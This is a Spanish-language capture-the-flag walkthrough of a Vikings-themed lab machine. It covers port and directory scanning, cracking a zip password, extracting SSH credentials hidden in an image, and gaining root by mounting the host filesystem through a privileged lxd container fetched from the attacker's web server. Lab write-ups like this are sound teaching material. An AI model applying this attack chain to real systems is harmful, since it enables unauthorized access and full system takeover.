Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-23 03:26 EDT
Nmap scan report for 192.168.195.142
Host is up (0.00066s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 59:d4:c0:fd:62:45:97:83:15:c0:15:b2:ac:25:60:99 (RSA)
|   256 7e:37:f0:11:63:80:15:a3:d3:9d:43:c6:09:be:fb:da (ECDSA)
|_  256 52:e9:4f:71:bc:14:dc:00:34:f2:a7:b3:58:b5:0d:ce (ED25519)
80/tcp open  http    Apache httpd 2.4.29
|_http-title: Index of /
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2020-10-29 21:07  site/
|_
MAC Address: 00:0C:29:AD:FD:F4 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), Synology DiskStation Manager
5.X (90%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3
cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.4 (97%), Linux 5.0 - 5.5
(95%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%), Linux 3.4
- 3.10 (91%), Linux 5.1 (91%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.13 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.66 ms 192.168.195.142

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.26 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/site/ -w <WORDLIST>
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
```

```
===============================================================
[+] Url:                     http://192.168.195.142/site/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/css                  (Status: 301) [Size: 321] [-->
http://192.168.195.142/site/css/]
/images               (Status: 301) [Size: 324] [-->
http://192.168.195.142/site/images/]
/js                   (Status: 301) [Size: 320] [--> http://192.168.195.142/site/js/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

Pero si hacemos una busqueda mas profunda, hariamos lo siguiente...

```
gobuster dir -u http://<IP>/site/ -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.195.142/site/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 280]
/.htpasswd.php        (Status: 403) [Size: 280]
/.htpasswd            (Status: 403) [Size: 280]
/.htaccess.txt        (Status: 403) [Size: 280]
/.htaccess.php        (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/.htpasswd.txt        (Status: 403) [Size: 280]
/.htpasswd.html       (Status: 403) [Size: 280]
/css                  (Status: 200) [Size: 1377]
/images               (Status: 200) [Size: 1361]
/index.html           (Status: 200) [Size: 4419]
```

```
/js                   (Status: 200) [Size: 952]
/war.txt              (Status: 200) [Size: 13]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Aqui nos saca un `.txt` que si lo leemos dice lo siguiente...

```
/war-is-over/
```

Si nos vamos a esa direccion, apareceran muchas palabras y letras, esto esta codificado en Base64 todo, haremos lo siguiente...

```
wget http://<IP>/site/war-is-over/
```

Esto te descargara el `index.html` del contenido del `Base64`, ahora haremos lo siguiente...

```
cat <FILE>.txt | base64 -d > <FILE>.zip
```

Esto te dara un `.zip` con el contenido decodificado, pero tiene contraseña por lo que haremos lo siguiente...

```
zip2john <FILE>.zip > hash.txt

john --wordlist=<WORDLIST> hash.txt
```

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
Cost 1 (HMAC size) is 1410760 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ragnarok123      (decode.zip/king)
1g 0:00:00:21 DONE (2024-05-23 05:24) 0.04757g/s 14127p/s 14127c/s 14127C/s
redsox#1..papolo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Una vez que tengamos la contraseña lo descomprimimos de la siguiente manera...

```
7z x <FILE>.zip
```

Info:

```
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,64 bits,32 CPUs
Pentium(R) Dual-Core  CPU      E5800  @ 3.20GHz (1067A),ASM)

Scanning the drive for archives:
1 file, 1410944 bytes (1378 KiB)

Extracting archive: decode.zip
--
Path = decode.zip
Type = zip
Physical Size = 1410944
```

```
Enter password (will not be echoed):
Everything is Ok

Size:       1429762
Compressed: 1410944
```

Nos descomprimira una imagen llamada `king`, pero si sacamos el contenido de la imagen...

```
sudo binwalk --extract --dd='.*' --run-as=root king
```

Info:

```
DECIMAL       HEXADECIMAL     DESCRIPTION
```

---

0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, big-endian, offset of first image directory: 8
1429567 0x15D03F Zip archive data, at least v2.0 to extract, compressed size: 53, uncompressed size: 92, name: user
1429740 0x15D0EC End of Zip archive, footer length: 22

```
Nos lo descomprimira en una carpeta llamada ``_king.extracted`` dentro de la misma habra unos archivos, entre ellos un archivo llamado ``user`` y si lo leemos...
```

//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7

```
Por lo que las credenciales para conectarnos al ``ssh`` seria el siguiente...
```

User = floki
Password = f@m0usboatbuilde7

```
```shell
ssh floki@<IP>
```

Y ya estariamos dentro, si nos vamos a la carpeta de `/ragnar` leeremos la flag del `user`...

user.txt (flag1)

```
4bf930187d0149a9e4374a4e823f867d
```

Si leemos el fichero `readme.txt` veremos lo siguiente...

```
_____________________________________________________________________Floki-
Creation_____________________________________________________________________
_________________________


I am the famous boat builder Floki. We raided Paris this with our all might yet we
failed. We don't know where Ragnar is after the war. He is in so grief right now. I
```
```

```
want to apologise to him.
Because it was I who was leading all the Vikings. I need to find him. He can be
anywhere.
I need to create this `boat` to find Ragnar
```

Y en el fichero `boat` pone...

```
#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)
```

Si vemos los grupos a los que estamos asociados...

```
id
```

Info:

```
uid=1000(floki) gid=1000(floki)
groups=1000(floki),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
```

Vemos que estamos en el grupo `lxd` por lo que escalaremos por ahi haciendo lo siguiente...

Estos comandos que haremos ahora los haremos en nuestro `host`...

```
#Tenemos que hacerlo todo siendo root
sudo su

#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools

#Clone repo
git clone https://github.com/lxc/distrobuilder

#Make distrobuilder
cd distrobuilder
make

#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
```

Ahora una vez hecho todo lo anterior nos pasaremos 2 archivos a la maquina victima mediante un servidor de `python3`...

```
python3 -m http.server 80
```

Y en nuestra maquina victima nos lo descargamos poniendo la IP de nuestro `host` con el `puerto`...

```
wget http://<IP>:80/<FILES>
```

Los 2 archivos que nos descargaremos seran `incus.tar.xz` y `rootfs.squashfs`, pero al archivo `incus.tar.xz` se lo cambiare a `lxd.tar.xz`...

```
mv incus.tar.xz lxd.tar.xz
```

Todo esto lo meteremos en la carpeta `/tmp` y dentro del servidor haremos los siguiente comandos...

```
lxc storage list
```

Para ver el alias que tiene el contenedor donde vamos a depositar la informacion por asi llamarlo...

```
+--------+-------------+--------+----------------------------------+---------+
|  NAME  | DESCRIPTION | DRIVER |              SOURCE              | USED BY |
+--------+-------------+--------+----------------------------------+---------+
| mypool |             | dir    | /var/lib/lxd/storage-pools/mypool | 0       |
+--------+-------------+--------+----------------------------------+---------+

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true -s mypool

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

lxc start privesc

#Para ser root
lxc exec privesc /bin/sh

cd /mnt/root

cd root/
```

Una vez siendo `root` leemos su flag...

root.txt (flag2)

```
f0b98d4387ff6da77317e582da98bf31
```